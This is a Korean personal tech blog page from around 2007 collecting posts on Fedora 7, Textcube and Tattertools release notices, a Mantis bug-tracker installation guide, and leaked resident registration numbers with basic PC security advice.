이작업을 모두 끝낸결과 사망판정 내렸습니다. 일반 포맷은 아예 되지도 않을뿐더러 위의 리제네레이터에서 봤던 앞부분 상하지 않은 부분마저 HDD뚜껑을 열고 가혹행위했더니 다 망가진듯 합니다. 어쨋든.. HDD Regenerator는 괜찮은 툴임에는 분명하지만 요새 나오는 HDD들이 워낙에
고용량이다 보니 이작업을 한다면 몇일이 소요될지 생각만해도 끔찍합니다. 여담이지만 요새는
삼성에서 1TB(1000GB) HDD도 출시됐더군요. HDD관리들 잘하시기 바랍니다. 무리한 P2P
프로그램 사용을 자제하시는것이 HDD건강에 좋습니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

사용자 삽입 이미지

(Fedora Linux 7의 구동화면)


리눅스는 예전에 HOW pc 라는 잡지에서 제공하던 부록시디의 WOW리눅스를 통해 처음 접하게

됐다. 이전에도 리눅스를 접한적은 있었지만 GUI환경에 익숙해진 나에게 커맨드 입력 위주의 리눅스

는 관심 밖이었고 한창 게임에 푹 빠져있을때였고 지금처럼 VMware를 쓰던때도 아니어서 그저

언젠가 사용하겠지 라는 생각이었다. 그러다 이번에 학교 전공과목에 페도라4를 사용한 아파치 서버

구축이 포함됐고 마침 윈도우 환경에서의 아파치 서버의 한계를 느끼던중 세컨컴퓨터에 쓸수있는

부품들을 얻게됐고 본격적으로 서버를 옮겨보자라는 생각이 들어서 페도라 리눅스를 쓰려는 생각이

들게됐다. 페도라는 버전 9부터 무료배포정책이 종료되면서 엔터프라이즈 리눅스 개발이 이뤄진 유

명한 Redhat linux 의 개발진중 몇몇이 무료배포판인 Fedora 프로젝트를 만들게 됐는데 페도라 재단

은 06년에 재단이 대응해야할 일의 범위가 너무 광범위하게 커져서 효율적인 개발이 이뤄지지 못하

는 단계에 이르러 Redhat 에서 해산하게 됐다. 이는 내부문제도 있겠지만 외부에서의 오픈소스 프로

젝트에 대한 프로그래머들의 자발적인 지원이 부족했던 탓도 있을것이다.


사용자 삽입 이미지
(부팅중인 Fedora7 의 화면)


현재 Redhat에선 페도라 재단을 해산하긴 했으나 페도라 6의 출시에 이어 계속해서 현재의 7버전에

이어 8버전은 07년 10월경에 출시할 예정을 가지고 있다. 페도라는 6버전을 마지막으로 Core를 떼버

리고 그냥 'Fedora'로 출시가 되고있는데 Redhat 리눅스의 테스트판으로 생각하는것이 좋다.

Redhat리눅스는 현재 AS,ES버전으로 나뉘어서 판매되고 있는데 기업에서 많이 쓰이고 있으며 위에

서 언급한 바와 같이 상용프로그램이다. Redhat에선 Fedora에 레드햇 리눅스의 최신기능을 적용시

켜 배포한뒤 충분한 테스트가 됐다고 생각되면 레드햇리눅스의 최신 릴리즈 버전에 이를 적용시키고

있다. 현재(07.7월 기준) 최신버전인 'Fedora 7'에 적용된 기능중 개인적으로 구미가 당기는 것이

KVM(Kernel-based Virtual Machine)
이다. 윈도우나 리눅스상에서 Vmware를 사용하는것으

로 가상머신을 만들수는 있지만 리눅스에 자체적으로 포함된 KVM은 어느정도의 성능을 보여줄것인

지 기대가 된다.

사용자 삽입 이미지

(KVM 사용으로 Windows XP를 Linux에서 구동한 예)

현재 Fedora 7버전은 http://fedoraproject.org/ 에서 다운로드 받을수 있다.

ISO이미지로 2.5Gb 가량의 용량인 한개의 파일과, Rescue CD ISO이미지를 포함한다.


사용자 삽입 이미지
(Fedora 7 로그인 화면)
신고

'기타IT관련정보 > 리눅스' 카테고리의 다른 글

Fedora Linux에 대해  (4) 2007.07.07
[팁] Fedora 4,5에서(VMware상의) VM tools 설치하기  (0) 2007.05.04
크리에이티브 커먼즈 라이선스
Creative Commons License
사용자 삽입 이미지
6월 29일부로 태터툴즈에 이은 Textcube가 알파페이즈를 지나 베타페이즈로 들어갔습니다. 로고

디자인도 상당히 산뜻하네요. 플러그인들의 경우 원문을 읽어보면 태터 1.1.x 버전에서 적용 되던

것들이 제대로 작동하지 않을 가능성이 매우 큽니다. 저는 데이터를 모두 백업후 로컬테스트용 서버

에 설치해볼 생각입니다. 텍스트큐브는 태터툴즈와 디렉토리 구조가 다릅니다. 공지에서는 설치시

백업은 필수이며 blog,lib,script,style,component,language 디렉토리를 삭제한뒤 설치후 블로그

주소끝에 /checkup 을 입력해서 체크업 하는것을 권장하고 있습니다. 기존의 태터툴즈에서 XML

데이터 백업/복구가 제대로 지원이 되는지는 언급이 없네요. 일단 테스트 해봐야 겠습니다.

(07.7.3 간단테스트 결과 : 알파버전에서 되지 않았던 하위버전(태터툴즈1.x)의 데이터들이 XML
형식으로 복원이 됩니다. 처음에 XML로 하지 않고 테스트 설치시에 Mysql 텍스트큐브 테이블을
모두 지워버리고 새로생성 한뒤 기존의 태터툴즈를 그대로 복사하여 복원을 시도한 탓 인지 본문에
첨부된 이미지 파일들이 복구가 되지 않는 문제가 있었는데 이는 곧 해결되지 않을까 싶습니다.)


아래는 공지사항 원문입니다.

---------------------------------------------------------------------------

텍스트큐브 1.5의 첫번째 베타를 공개합니다.

(2007.6.30) 설치시 환경에 따라 발생하는 데이터베이스 생성 오류를 수정한 버전으로 업데이트 되었습니다.


주의할 점

업그레이드에 관련하여

텍스트큐브 1.5의 경우 태터툴즈 1.1 버전과 외양은 비슷하지만 코드와 데이터베이스 구조부터 동작 방법까지 내부적으로 굉장히 많은 변화가 있었습니다. 따라서 꼭 이 점을 유의해 주세요. 데이터베이스의 구조를 상당히 많이 바꾸기 때문에 텍스트큐브로 업그레이드 한 후 태터툴즈 1.1.3으로 돌아가는 것은 불가능합니다. 테스트 목적으로만 사용해 주시기 바랍니다.

에디터 모듈에 관련하여
기본 에디터는 HTML raw 에디터입니다. 기존에 사용하던 위지윅 에디터를 사용하거나, 위지윅 에디터로 작성된 글을 보기 위해서는 '플러그인'의 모듈 카테고리에서 위지윅 에디터 모듈과 TTML 파서 모듈을 사용함으로 변경하여야 합니다.

이후의 베타에서는 최소 모듈 개념으로 자동으로 동작하게 될 것입니다.

플러그인 사용과 제작에 관련하여
플러그인의 경우 기존의 misc::getUserSetting / misc::setUserSetting 이 모두 misc::getBlogSetting / misc::setBlogSetting으로 변경되었습니다. 1.1의 플러그인을 사용하기 위해서는 위 호출을 모두 변경해 주셔야 합니다. 또한 index.xml의 requirement 필드에
<textcube>1.5</textcube>
와 같이 반드시 사용 가능한 최고 버전을 명기해 주셔야 합니다.

또한 현재 블로그의 id를 의미하던 $owner는 더이상 사용되지 않습니다. 1.5에서는 레거시 지원을 위하여 남아있지만 이후 현재 블로그 id를 의미하는 $owner는 모두 getBlogId()를 통해서 얻어야 합니다.


피드백

1.5의 안정화를 위하여 많은 피드백이 필요합니다. 버그나 소스에 대한 피드백은 버그 보고 게시판을 통해 부탁드립니다. 또한 소스를 개선하신 경우 위 게시판을 통해 변경된 점을 (diff등을 통하여) 제공해 주시거나, dev at tattersite dot com 으로 보내주시기 바랍니다.

sandbox 접근 권한과 커밋을 필요로 하시는 분 또한 위의 메일 주소로 메일을 보내 주시기 바랍니다.

지역화 작업

지역화를 위한 po파일은 언어 리소스가 어느정도 고정되는 베타 2나 3 이후에 갱신할 예정입니다.

내려받기
이 링크를 통해 내려받으실 수 있습니다.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
테터툴즈 1.1.2.2 : Animato 에 이어서 테터툴즈 1.1.3 : Transition이 오늘 공개 되었습니다. 이제 이

1.1.3버전 이후로는 1.5버전인 Textcube가 대체하게 될텐데요. 1.1.3 버전에서 달라진 점은 아래

공지사항과 같습니다. 테터툴즈란 이름으로 블로그를 처음 시작했던 분들에게는 '마지막' 이라는

단어가 왠지 서운하기도 하겠네요. 설치방법은 기존과 동일하게 덮어씌우고 관리자 모드에 들어가서

점검 버튼 한번만 눌러주면 끝납니다.

이하는 공지사항 원문입니다.

----------------------------------------------------------------

태터툴즈의 마지막 버전인 '태터툴즈 1.1.3: Transition' 을 공개합니다.


안내
이후 태터툴즈는 '텍스트큐브Textcube'로 이름이 변경됩니다. 태터툴즈는 ttxml을 통한 데이터 교환 및 '정보 소유권'을 보장하는 프로그램들의 모임으로 구성되는 프로젝트 이름이 됩니다. 관련 안내


태터툴즈 1.1.3은 텍스트큐브 1.5를 개발하는 과정에서 수정되거나 개선된 점을 반영하여 만들어 졌습니다.

변경점
1.1.3에서 달라진 점입니다.

다음의 버그들이 수정 되었습니다.
  • 보관 글 출력시에 스킨의 index.xml 에서 설정한 값을 따라가지 않는 부분이 수정되었습니다.
  • 데이터 복원시 복원하는 태터툴즈에 사이드바 플러그인이 없는 경우에도 백업 파일에 따라 플러그인이 있는 것 처럼 자동으로 로딩되는 문제가 수정 되었습니다.
  • MS internet explorer에서 첨부파일을 다운로드한후 바로 실행하기를 선택할 경우  cache-control 때문에 실행되지 않는 문제를 수정하였습니다.
  • 사이드바 설정 화면에서 플러그인을 처리할 때 사용하지 않는 핸들러가 경고 기록을 남기는 문제를 수정하였습니다.
  • 피드 통계 플러그인을 처음 작동시킬 경우 잘못된 구조의 테이블을 만드는 오류를 수정 하였습니다.
  • RSS를 출력할 때 이미지 경로가 상대 경로로 출력되어, 피드 구독기에 따라 이미지가 제대로 보이지 않을 수 있는 부분을 수정하였습니다.

또한 다음의 동작들이 변경 되었습니다.
  • 댓글 알리미 검색 결과가 최근 시간순으로 정렬되어 보여집니다.
  • 블로그 속도 향상을 위하여 스팸 필터 처리를 사용자가 접속할 때 마다 실행하지 않고, 하루에 한 번만 휴지통을 비우도록 변경하였습니다.


스킨 매니저 안내
버그 패치와 몇가지 개선점 말고도 변화가 하나 있습니다.
1.1.3 확장팩에는 '스킨 매니저' 플러그인이 추가되었습니다.

스킨 매니저는 TNC에서 개발하고 TNC/TNF에서 관리하는 플러그인입니다. 기존에 스킨 게시판에서 스킨을 내려 받아 설치하는 과정을 대폭 줄여줍니다. 스킨 매니저에서 스킨을 골라 자동으로 내려 받아 설치하도록 할 수 있으며, 내려 받은 스킨의 구조나 파일 편집등을 편리하게 할 수 있습니다.


사용을 위해서는 관리자 메뉴의 '플러그인' 페이지에서 '스킨 매니저'를 사용함으로 선택해 주시면 됩니다.

플러그인은 1.1.3과 1.1.2.2 에서 동작합니다. 이외의 버전에서는 테스트가 완료되지 않았습니다.

자세한 사용법은 매뉴얼 페이지를 참조하시기 바랍니다.


참고사항

기존의 피드 통계 플러그인이 생성하는 테이블의 구조가 잘못되어 있습니다. 1.1.3을 사용하실 때 꼭 '플러그인' 메뉴의 '테이블 설정'에서 '피드 통계' 관련 플러그인 테이블을 삭제하신 후 피드 통계를 사용해 주시기 바랍니다

내려받기
아래의 링크에서 내려받으시기 바랍니다.

태터툴즈 1.1.3 소스 : zip  tar.gz
태터툴즈 1.1.3 기본 패키지 : zip  tar.gz
태터툴즈 1.1.3 확장 패키지 : zip  tar.gz
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
앞서는 Mantis의 설치방법을 알아봤고 이제 사용자들이 이슈에 참여할 프로젝트 생성에 대해 알아

보겠다. 메뉴에서 관리->프로젝트 관리 를 클릭하고 '새로운 프로젝트 관리'를 클릭한다.
사용자 삽입 이미지

아래와 같이 설정하는 부분이 뜨는데 앞서 설치강좌에서 만들었던 upload 디렉토리 내에 폴더를

하나 더만든다. 안만들고 그냥 upload로만 설정해도 되지만 하나 더만들어 저장하는것이 깔끔하다.

여기선 parkdi로 디렉토리를 추가했다. 프로젝트 추가를 누르면 새 프로젝트가 생성된다.
사용자 삽입 이미지

생성한뒤 프로젝트 명을 클릭하면 여러가지 부분을 설정할수있다. 카테고리를 지정할수도 있고

주 프로젝트에 따른 서브프로젝트도 추가할수있고 개발하고 있는 프로그램등의 버전을 추가 할

수도 있다.

사용자 삽입 이미지

사용자를 관리자가 만들어 추가하고 싶다면 메뉴에서 관리-> 계정생성 버튼을 눌러주면 추가 시킬

수있다. 이때 만들어질 사용자의 정보를 입력하게 되는데 다하고 나서 '사용자 생성' 버튼을 누르면

입력한 E-mail주소로 메일이 발송된다. 물론 앞서 설치강좌에서 PHP의 mail()기능이 제대로 됐었

다면 가능한것이고 안된다면 PHP.ini의 sendmail 부분이 잘 설정됐는지 확인해본다.

사용자 삽입 이미지
이슈보고하기에서는 버그레포트를 할 수 있다. 위처럼 이런저런 사항을 입력한뒤 '보고서 제출'

버튼을 누르면 된다. 물론 upload 기능도 있다. 참고문서등이나 버그에 필요할만한 파일을 업로드

하면 되겠다.

사용자 삽입 이미지

다음과 같이 메뉴의 '이슈보기'를 선택하면 보고된 레포트의 세부사항을 볼수있다. 이외에도 mantis

에서 설정할수 있는 기능이 많지만 나도 잘모르고 이정도만 해줘도 기본적인 버그트랙킹 시스템

구축에는 충분하다고 본다. 자세한 내용은 인터넷에서 쉽게 찾을수있다.

신고
크리에이티브 커먼즈 라이선스
Creative Commons License

버그트래커인 Mantis를 설치해 보겠다. 버그트래커는 Mantis외에도 종류가 다양한데 Mantis가

상당히 많이 쓰인다. 사실 이슈에 대해 관련 참여자가 없으면 하나 소용없는 툴이기도 하고 나또한

개인프로젝트로 프로그램등을 개발할 일이 전무 하기 때문에 쓸모없지만 설치해보도록 하겠다.

사용자 삽입 이미지

사진과 같이 http://mantisbt.org 에 접속해서 안정화된 최신버전(07.06.25기준) 인 1.0.7 버전을

다운로드 받는다. 확장자가 유닉스 시스템에서 쓰이는 tar.gz 로 압축되어있지만 알집등으로 정상

적으로 압축이 풀린다. 압축을 푼뒤 설치에 편리하게 디렉토리 이름을 여기선 'mantis'로 바꿔서

설치하겠다.

사용자 삽입 이미지

위와같이 압축을 해제한 'mantis' 디렉토리 내에 upload 라는 디렉토리를 하나 만들어준다. 다른곳에

위치할수 있지만 이게 더 깔끔하다. 이제 matis가 설치될 DB를 만든다. Mysql 콘솔을 쓸수있다면

콘솔에서 만들어도 되고 여기선 phpMyadmin으로 해당 DB를 만들도록 하겠다.

사용자 삽입 이미지
위와같이 Mysql항목의 새데이터베이스 만들기에서 'testmantis'라는 DB를 생성할 것이다. 물론

이 DB명도 다른 이름으로 지정할수있다. Collation은 utf8_general_ci 를 선택한다. 사실 DB는

root 계정으로 설치해서 사용하면 보안상의 위험이 있다. DB를 다른 사용자 명으로 생성하는데

관련된 강좌로는 이블로그의 http://xens.dnip.net/25 글에서 참고할수있다. 이강좌에서는
 
Mantis의 설치에만 중점을 두겠다. DB 생성후엔 mantis 폴더의 config_defaults_inc.php 파일을

수정해야된다. 텍스트 편집기로 일단 연다.

사용자 삽입 이미지

파란색으로 표시된 곳의 정보를 자신의 환경에 맞게 고친다. db명은 아까 만든 testmantis를 썼고

root계정으로 만들었기때문에 root 를 썼다. 비밀번호는 각자 사용하는 비밀번호를 입력하면 된다.

사용자 삽입 이미지
E-mail 설정부분에서 위처럼 자신이 받을수 있는 E-mail 주소를 입력한다. 여기서는 내 메일서버의

E-mail 주소인 postmaster@xens.dnip.net 을 사용했다.

사용자 삽입 이미지

이제 fallback 기본언어를 바꿔준다. 기본은 english로 되있는데 이를 korean으로 바꾼다.

사용자 삽입 이미지

업로드 설정이다. $g_file_upload_method 값은 기본으로 DATABASE로 되어있는데 이를 DISK로

바꿔준다. 이유는 DB에 저장할수도 있지만 아무래도 DB크기가 커지기 때문에 DISK에 저장하는것이

낫기 때문이다. 그리고 아래의 $g_absolute_path_default_upload_folder는 만들었던 upload 디렉토

리 까지 풀경로를 입력해 주면 된다. 여기까지 수정후 저장하고 이제 인스톨을 시작한다.

사용자 삽입 이미지

다음과 같이 http://localhost/Mantis가설치된디렉토리/admin/ 을 브라우저에 입력하고

'check your installation' 을 클릭한다.
사용자 삽입 이미지

설치에 있어서 요구사항을 충족하는지 못하는지에 대한 목록이 위에 쭉 나오고 밑에 send mail

테스트부분이 있다. php의 mail() 기능으로 테스트 하는 것인데 sendmail 설정이 제대로 되있지

않다면 제대로 되지 않을것이다. 메일보내기 테스트가 실패해도 Mantis설치엔 지장은 전혀없다.

그리고 만약 register_globals의 주의메시지가 나온다면 설치된 PHP 디렉토리내의 php.ini파일을

열어서 register_globals=ON 으로 되있다면 register_globals=OFF 로 바꿔준다. 이는 PHP의 전역

변수화 기능인데 지금은 해결됐지만 PHP의 하위버전에서 injection공격에 대한 취약점이 있어서

전역변수화 기능을 사용하지 않게 해두는 것이다. 예전에 전역변수화를 사용하는 PHP설치 프로

그램이 있다면 영향을 받을수도 있으니 점검해보도록 한다.

사용자 삽입 이미지
http://localhost/Mantis가풀려있는디렉토리/admin/install.php 를 실행시킨다. 그리고 아까 root

계정으로 만들었던 DB의 정보를 입력해준다. Admin username과 Admin password만 입력해주면

된다. 그위의 사항들은 아까 config파일에서 수정한대로 모두 입력되어있다. Admin username과

Admin password는 파일에서 수정했던 내용과 같게 입력하면 되고 다됐으면 Install/upgrade

database 를 눌러서 설정해준다.

사용자 삽입 이미지

이제 Mantis에 로그인을 해본다. user name은 administrator 이고 초기암호는 root이다. 밑에 주의

경고가 뜨는데 로그인전에 mantis 디렉토리내의 admin디렉토리를 완전삭제해준다.

로그인후에 My account 란에서 Password를 바꿔준다. E-mail주소도 바꿔주고 Real Name은

닉네임 정도로 생각하고 입력해주면 된다. 다되면 Update user를 누르면 적용된다.

사용자 삽입 이미지

Account에서 Preference항목을 누르면 언어를 선택할수있다. 처음 DB의 collation이 UTF-8이었으

므로 여기도 마찬가지로 korean_UTF8을 선택하고 그아래 버튼을 누르면 위와같이 한글로 바뀌어

갱신된다. 그리고 DB에 저장되는 내용도 한글로 제대로 표시될수 있도록 mantis가 설치된 디렉토리

내의 core폴더에서 database_api.php 파일을 열어

사용자 삽입 이미지
 윗부분의 파란표시 부분을 추가해준다. ($gb->execute("set names utf8");) (캡쳐화면에서는 철자

 하나가 빠져있다. 위의 구문이 맞다.) 이제 계정관리에서 갱신해주면 정상적으로 mantis의 설치가

끝이난다. 다음장에서 프로젝트 생성법을 알아보겠다.

(다음장에서 계속..)

신고
크리에이티브 커먼즈 라이선스
Creative Commons License

주민등록번호 외부유출문제는 어제 오늘일이 아니다. 나 또한 컴퓨터를 사용하면서 항상 주의하고

왠만하면 이곳저곳 가입하지 않는편이다. 10여년을 넘게 인터넷을 이용하고 있지만 이제까진 항상

주의해서인지 피해는 없었다. 아무래도.. 내가 서버를 운영하고 있다보니 보안쪽으로 관심이 쏠릴수

밖에 없는데 최근에 http://gendoh.tistory.com/ 이곳에서 글을 읽던중 중국사이트에서 우리나라

사람들의 주민등록번호가 공공연히 돌아다니는것을 보게 됐다. 궁금해서 나도 내이름을 검색해서

들어가봤다. 결과는 아래사진에 있다.

사용자 삽입 이미지

china.com.. 우리나라의 korea.com 같은 곳인지 모르겠지만 이름만 검색했는데도 위와같이 주민등

록번호가 몽땅 쏟아져 나온다. 클릭해보니..

사용자 삽입 이미지

아예 리스트로 만들어져서 나돌고 있다. 연령층도 다양하다..70년생부터 80년생이 주로 리스트에

작성되어 있다.

사용자 삽입 이미지

난 중국어는 전혀 모른다.. 하지만 저표현은 '띵하오'가 아닐까?;;; 고맙다한다.. 주민등록번호가

중국에서 많이 돌아다니는 이유는 상당히 많다. 여권위조 같은건 어짜피 그쪽방면의 나름 전문가

들이 하는거니까 일반인들이 주민등록번호로 뭔가 할수는 없을테고 일반적으로 사용되는 용도는
 
국산온라인 게임사이트 가입이다. 중국에서의 한류열풍이 아무래도 더 이런 주민등록번호 도용을

부추기는것 같다. 아래 캡쳐에선 이름과 주민등록번호를 사용해서 게임사이트에 가입하는 과정이

상세히 설명되있다.

사용자 삽입 이미지

어떻게 가입을 할수있는지 상세히 설명되있다..

사용자 삽입 이미지

이렇게 도용될경우에 유저에게 항의가 들어온다면 게임업체만 죽어나는것이다. 법적으로 이런경우

에 어떻게 되는지는 모르겠지만 결과적으론 해당게임업체의 신뢰도에 큰 오점을 남기고 존폐의 위기

가 찾아올수도 있는 문제이다. 요새는 왠만한 게임업체에선 SMS(문자메시지) 인증을 사용하니까

가입자체에는 크게 신경쓰지 않아도 될지 모르지만 주민등록번호가 사방팔방 돌아다닌다면 어떤

용도로 쓰이게 될지도 모르고 큰일이 아닐수 없다. 예전에 구글에서 이런일이 발생한적이 있었다.

검색했을때 주민등록번호가 튀어나와버리는..지금은 해결되있지만 이때 흘러나간 주민등록번호도

상당할것이다. 또하나의 문제는 국내에서의 재사용이다. 그래도 국내에서 주민번호도용이 생겼을땐

그나마 잡을수라도 있으니까 다행이다. 해외에서 도용해 버리면 정말 말안해도 대략난감일것이다.

이번에 서버업그레이드를 하면서 이래저래 느낀점이 많았었다. 리눅스가 보안에 뛰어난건 사실이다.

하지만 윈도우에 10년이 넘게 익숙해져있는 사용자들에겐 리눅스가 아무리 쉽다고 하고 X윈도우가

있어서 GUI환경을 제공한다고 해도 여전히 커맨드 입력위주인 리눅스를 접하기 힘든게 사실이고

지원하는 프로그램들도 윈도우용 응용프로그램들에 비하면 턱없이 모자르다. 어쨋건..윈도우를

제일많이 쓰니까 이렇게 주민등록번호들이 빠져나가지 않게 주의하려면 사용자들도 최소한의

지식은 있어야 된다는 것이다. 왠만한 보안에 대한 글이 있는 곳에서면 볼수 있는글이지만..

1. 무분별한 Active X 설치금지
 
사용자 삽입 이미지

우리나라에선 보안에 취약할수있는 Active X를 너무나 사랑한다. 윈도우 비스타가 나올때 정부에서

MS에 Active X를 사용할수 있게 해달라고 할정도면 더이상 할말없을 정도로 많이 쓰이고 있는데

Active X를 자동설치하게 내버려두진 말자는 것이다. 위와같이 인터넷옵션에서 'Active X 컨트롤을

사용자에게 확인' 란을 사용안함으로 체크해두면 Active X 컨트롤이 필요한 사이트 접속시 브라우저

윗칸에 노란색으로 뜨게된다. 보고 안전한 사이트만 필요한 Active X 컨트롤을 설치하도록 한다.

요새는 이 옵션을 무시하고 강제로 설치되는 악의적인 Active X 프로그램들도 있다.

2. 스파이웨어 탐지 프로그램, 백신을 기본적으로 사용할것

사용자 삽입 이미지

현재 쓰고있고 정말 뛰어난 백신이라고 생각한다. 패턴 업데이트 주기도 매우 빠르다. 단점이라면

상당히 무겁다는것이다. 풀옵션으로 실시간 감시를 돌리면 고사양의 컴퓨터가 아니면 감당하기

힘들다. 그래도 스파이웨어방지는 이것만으론 부족하다. 국산 스파이웨어만 있는것이 아니라 외산

스파이웨어들을 국산 스파이웨어방지 프로그램이 감지하지 못하는경우가 있기때문에 내경우엔

두가지를 위한 프로그램을 모두 사용하고 있다. 하나는 Lavasoft에서 나온 Ad-Aware이다.

사용자 삽입 이미지

이것도 상당히 무거운 프로그램이다. 업데이트는 매우 잦은편은 아니다 거의 10일정도를 주기로

정의파일이 업데이트 된다. 외산 스파이웨어를 막는데는 상당히 좋은 프로그램이다.

사용자 삽입 이미지

PC free 3.0 pro 버전이다. 국내 스파이웨어 방어용으로 참 좋은 프로그램이다. 그러나 레지스트리

정리 기능은 가급적 쓰지 않길 바란다. XP에서 자주사용했지만 이기능만큼은 http://rodream.net

의 클릭투트윅이 더나은듯 싶다.

사용자 삽입 이미지

마지막으로 사용중인 스파이웨어 감지툴이 위의 http://rodream.net 의 울타리 이다. 제작자가

고등학생때부터 시스템 관리툴인 클릭투트윅을 만들기 시작해서 지금은 대학생으로 알고있는데

참 잘만들었다. 다른프로그램에서 안잡히던 스파이웨어를 잘잡는다.

이렇듯 왠만한 대비만 있다면 쉽게 해킹당하거나 하진 않는다. 그리고 컴퓨터가 지나치게 느려졌다

생각되면 작업관리자를 유심히 살피는것이 좋다. 한 프로세스가 CPU점유를 과도하게 많이 잡아

먹으면 의심해보는것이 좋다.

나도 비전문가이지만 이런툴도 제대로 사용하지 않는경우가 허다하다. 전엔 여자친구 컴퓨터를

원격접속으로 손봐준적이 있었는데 보안에 완벽히 무방비 상태였다. 그래서 여러가지 셋팅을

해준적이 있는데 스파이웨어나 백도어 프로그램(쉽게 말하면 뒷구멍 프로그램.. 사용자의

PC에 몰래 프로그램을 설치해두고 저장된 정보를 가져가는 경우등이 있다. 키로거 프로그램이

포함되있는경우가 많아 사용자가 ID나 password등의 정보를 입력했을때 가로채서 저장하는

경우도 있다.) 으로 정보가 유출되는 경우가 의외로 많다. 주민등록번호 도용은 심각한 문제이다.

모두가 개인정보를 입력할때는 조심해야될것이다. 그리고 정말 중요한 개인정보는 하드디스크에

저장하지 않는것이 좋다. 따로 USB메모리 등에 저장하던지 해서 보관해 두는것이 좋다.

마지막으로 한가지 더! 왠만한 알지못하는 중국사이트는 들어가지 않는것이 좋다. 중국에서

만들어진 프로그램 중에는 정말 악질 프로그램도 많고 중국산 스파이웨어 감지기가 아니면 아예

잡을수도 없는경우도 생긴다.

신고
크리에이티브 커먼즈 라이선스
Creative Commons License
텍스트큐브 1.5 alpha 5버전이 발표되었습니다. 아래는 텍스트큐브 alpha5 발표에 관한 원문입니다.

맨아래 링크에서 테터툴즈 1.1.3 테스트 버전과 Textcube 1.5 alpha 5 버전을 체험해볼수 있도록

ID,PW를 공개합니다. 비밀번호를 바꾸지 말아주세요.(6. 6~6.11일까지)

ID : test@example.com
PW : 1023784

--------------------------------------------------------------------------
Textcube (이하 텍스트큐브) 의 다섯번째 알파버전 (1.5.3380.20070530) 을 공개합니다. 이후 알파버전은 베타 페이즈에 들어가기 전까지 1주일을 주기로 발표될 예정입니다.

소개

2007년 4월 14일 발표된 내용 ( http://notice.tattersite.com/ko/11 에서 정리된 내용을 읽을 수 있습니다) 에 따라, 기존의 태터툴즈는 프로그램 이름이 아니라 ttxml형식으로 백업이 가능하며 데이터 권리를 사용자가 가짐을 보장하는 프로그램 및 서비스를 아우르는 명칭이 됩니다.

기존의 설치형 블로그인 태터툴즈의 경우, needlworks에서 설치형 프로그램 코어(프로젝트 S2)의 설계및 제작을 전담합니다. 프로젝트 S2의 정식 명칭이 Textcube로 결정되었습니다.

한 줄 요약 : TNC/TNF 태터툴즈 -> Needlworks/TNF 텍스트큐브

주의사항

    * 본 버전은 반드시 테스트 용으로만 사용하셔야 합니다.
    * 태터툴즈 플러그인 지원을 위한 레거시 루틴이 추가되어 있지만 플러그인 호환성 부분에서 문제가 발생할 가능성이 있습니다.
    * 기본 에디터는 HTML raw 에디터입니다. 기존에 사용하던 위지윅 에디터를 사용하거나, 위지윅 에디터로 작성된 글을 보기 위해서는 '플러그인'의 모듈 카테고리에서 위지윅 에디터 모듈과 TTML 파서 모듈을 사용함으로 변경하여야 합니다.

내려받기
다음 링크를 눌러 내려 받으실 수 있습니다.

피드백
피드백은 TNF forum의 버그 보고 및 품질관리 게시판을 통해 주시기 바랍니다.

Changelog

more..


스킨 관련 변경점 및 추가 안내

* 404 에러 관련
페이지가 없을 때 출력되는 페이지를 스킨에서 추가적으로 지정할 수 있습니다. <s_page_error>로 묶은 부분이 에러 발생시에 출력됩니다. 스킨에 해당 부분이 없을 경우에는 1.5 이전과 똑같이 동작합니다.

* 트랙백 검색 관련 스킨 추가
  트랙백 검색 결과 출력을 위한 , , <s_tblist>, <s_tblist_rep>, , , , ##_tblist_rep_body_##]가 추가되었습니다. 아래는 예제입니다.

------------------------------
<s_tblist>
    <div class="searchTblist">
        <h3>''에 해당되는 트랙백 건</h3>
        <ol>
        <s_tblist_rep>
        <li>
            <span class="date"></span>
            <span class="name"><a href=""></a></span>
            <div class="contents"></div>
        </li>
        </s_tblist_rep>
        </ol>
    </div>
</s_tblist>
------------------------------

플러그인 관련 변경점 및 추가 안내

* 플러그인 이름 변수
기존의 변수들($pluginURL, $pluginPath)에 플러그인의 이름을 가져올 수 있는 변수인 $pluginName이 추가되었습니다.

* 플러그인 설정 component 제공
index.xml을 통한 텍스트큐브의 설정 메뉴 대신 설정 프로그램 자체를 만들 수 있습니다. 이 경우 Textcube.Model.PluginCustomConfig 컴포넌트를 사용하면 됩니다.
index.xml의 manifest에서 config 바인더를 사용하지 않는 경우 컴포넌트를 사용할 수 있습니다.

인터페이스는 다음과 같습니다.
PluginCustomConfig{
         /* public bool*/
         function load(){
        /* public string null*/
        function getValue($name){
        /* public bool*/
        function setValue($name , $value){
        /* public array null */
        function getAllValue(){
        /* public bool */
        function setMergedValue( /* array */ $configVal ){
        /* public bool */
        function setAllValue(/* array */ $configVal ){

BlogAPI 관련 변경점 및 추가 안내
* BlogAPI 전용 비밀번호 설정 기능
BlogAPI를 사용하여 글을 작성하실 경우 로컬 프로그램을 사용하는 경우는 관계없지만 다른 서비스를 글 에디터로 사용하는 경우가 있습니다. 이 경우 본인의 블로그 암호를 해당 서비스에 노출하고 싶지 않은 경우를 위하여 BlogAPI에만 적용되는 비밀번호를 따로 지정할 수 있습니다. '환경설정'-'글 작성' 의 글 작성 환경 설정에서 비밀번호를 지정하시면 됩니다.

* 카테고리를 지원하지 않는 클라이언트에도 카테고리를 지원
기존의 BlogAPI는
   http://blog.example.com/api
형태의 XMLRPC server url이 존재합니다. 클라이언트 중에서 카테고리를 지정하지 않고 글만 작성하는 경우가 있습니다. 예를 들어 me2day에서 전송해 오면 카테고리가 지정되지 않아 '분류없음' 으로 등록이 되고, 알라딘의 ttb의 경우 category가 Aladdin으로 전송되어 옵니다. 이렇게 클라이언트가 약간 기능이 부족하여 카테고리 지정으로 인한 다양한 기능을 사용하지 못하는 것을 만회하기 위해 다음과 같은 BlogAPI 주소를 사용할 수 있습니다.
1) http://blog.example.com/api?category=mycategory
2) http://blog.example.com/api?category=%E … D%EA%B0%81
3) http://blog.example.com/api?category=2

위와 같이 category 라는 변수 뒤에 UTF-8으로 카테고리명을 지정하면, 클라이언트가 지정하거나 혹은 지정하지 않는 경우에라도 강제로 설정하는 기능입니다. 즉, 해당 카테고리에 posting하는 BlogAPI xmlrpc service url이 되는 것입니다.


